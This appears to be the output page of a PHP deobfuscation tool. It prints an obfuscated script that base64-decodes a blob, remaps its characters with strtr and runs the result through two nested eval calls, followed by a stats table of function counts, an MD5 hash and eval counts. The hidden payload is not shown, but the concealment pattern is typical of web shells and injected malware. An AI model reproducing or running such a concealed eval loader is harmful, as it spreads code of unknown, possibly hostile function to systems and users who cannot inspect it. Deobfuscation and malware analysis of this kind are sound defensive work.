NVj4NVnNBKE1ZWj1xKCR6TTJPSEhNMj0pKV0NViR6TTJPSEhNMj1TWzsNVmwNVj4NVnNBKCR6TTJPSEhNMj1TUyRIdildDVYkWWVzVy1pcFk9Wi9XT25NKCk7TTIuTz4iQlppQjxpLS0tLS0tLS0tLS0tLS0tPnB1VG0+L0k3cEs0PkZFND5GVFRLdW1UcD5UNz5nSy83RUVLL1Q+RUt7Pi83RUVLL1QzN0U+cEtGcDdFPi0tLS0tLS0tLS0tLS0tLT5CaDxpQmhaaSI7JEh2U2E7DVZsDVYkSHZTJEh2KzA7DVY+Pj4+Pj4+Pj4+Pj4+Pj4+QVdRbi4oKTs+bA1WbA1WQU96KCRzU2E7JHNCSjA7JHMrKyldDVY+PiRuWT1aXzJPSEFTbj16X3pNWldlMk0oIlgiLD4kemVIOU9ZX25ZPVpfbj16c0h4aiRzZCw+JG5ZPVpfMk9IQSk7PmwNViRuWT1aXzJPSDJTJDNucHVUbSgkOU1BZVFXPVpPej0sPiRuWT1aXzJPSEEpOw1WPj4kbnN4SE9BQVMyek1lPU1fQVFIMj1zT0goJyRuWT1aXzJPSDInLCd6TT1Rekg+J1huUTxuPXooJHplSHhNLGEpWCcoJG5ZPVpfMk9IMik7Jyk7DVY+Plp6c0g9PiJCWj4yV2VublNcIm49cVdNMFwiaW1PfU16clFXVz4zSDxPUj5tdG0+dWVzV016Qjx6aSYyT1pxPmthMFUsPmd1VHA+QU96PkVNfT5UT09Xbj5TaT5CPGkNVj5CQU9IPT4yT1dPelNcIiNmYWFhYWFcImlCaEFPSD1pQmg8aUI8emlCaFppIjskWWVzVy1pcFk9Wi9XT25NKCk7DVY+PnpNPVF6SD4kbnN4SE9BQSgkblk9Wl8yT0gyKTsNVj4+c0Eoc25uTT0oJF9tN3BUaidlMj1zT0gnZCk+JiY+JEhRWU1ZZXNXbj4hU2E+KV1NMi5PPiJCbjJ6c1o9aWVXTXo9KCd1ZXNXPm5NSDlzSHg+Mk9ZWldNPU1cXHpcXEgkSFFZTVllc1duPlllc1cobik+fWVuDVY+Pj5uTUg9Pm5RMjJNbm5BUVdXcScpOz5CaG4yenNaPWkiO2xsDVY+Pj4+P2kNVj4+Pj4+PkI/Wi5aDVYkc1o+Uz54TT1NSGMoImdLdTdUS19GNDRnIik7DVYkbj16PlM+IiI7DVZBT3pNZTIuKCRfcEtnNktnPmVuPiR5TXE+U2k+JGNlV1FNKV0NVj4+Pj4+Pj4+JG49ej5YUz4keU1xWCI6PiJYJGNlV1FNWCJCPHo+aGkiOw1WbA1WPg1WJG49ej5YUz4iIG5NOj5zSD5CPHo+aGkiOw1WPg1WPj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NViQuTWU5TXprPlhTPiJ1M3VLLTZNem5zT0g6PjBYYVx6XEgiOw1WJC5NZTlNems+WFM+Ii9PSD1NSD0tVHFaTTo+PU1SPWguPVlXXHpcSCI7DVYkLk1lOU16az5YUz4iL09IPU1IPS1UemVIbkFNei1LSDJPOXNIeDo+ZjxzPVx6XEhcelxIIjsNVj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+TTIuTz5ATWNlVyg8ZW5NW1VfOU0yTzlNKCc8e3JaPC94c05ZMD1ie1duMjVLNXdyRS5OWSA9PHtyWjwvTFFORHduTlkwPWJ7V24yNUZSdWFvSDx7clo8L0wKPGthc0kvOEVie1duDVZORDN4QS9GeWVERnNJL2c1OXQzbjhDLldie2dXMgozWjd9U1MnKSk7P2kNVg1WCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk+Pj4NVgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDVYNVj5CWj5lV3N4SFMiMk1IPU16ImkmSDxuWjtCaFppDVYmSDxuWjsNVj4+Pj5CaDxPOXFpDVZCaC49WVdp';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw='));?>
Function Calls
strtr | 1 |
strrev | 1 |
str_replace | 1 |
base64_decode | 2 |
Stats
MD5 | d5267b52ac280364ef8a1df3ad7bf5c4 |
Eval Count | 2 |
Decode Time | 513 ms |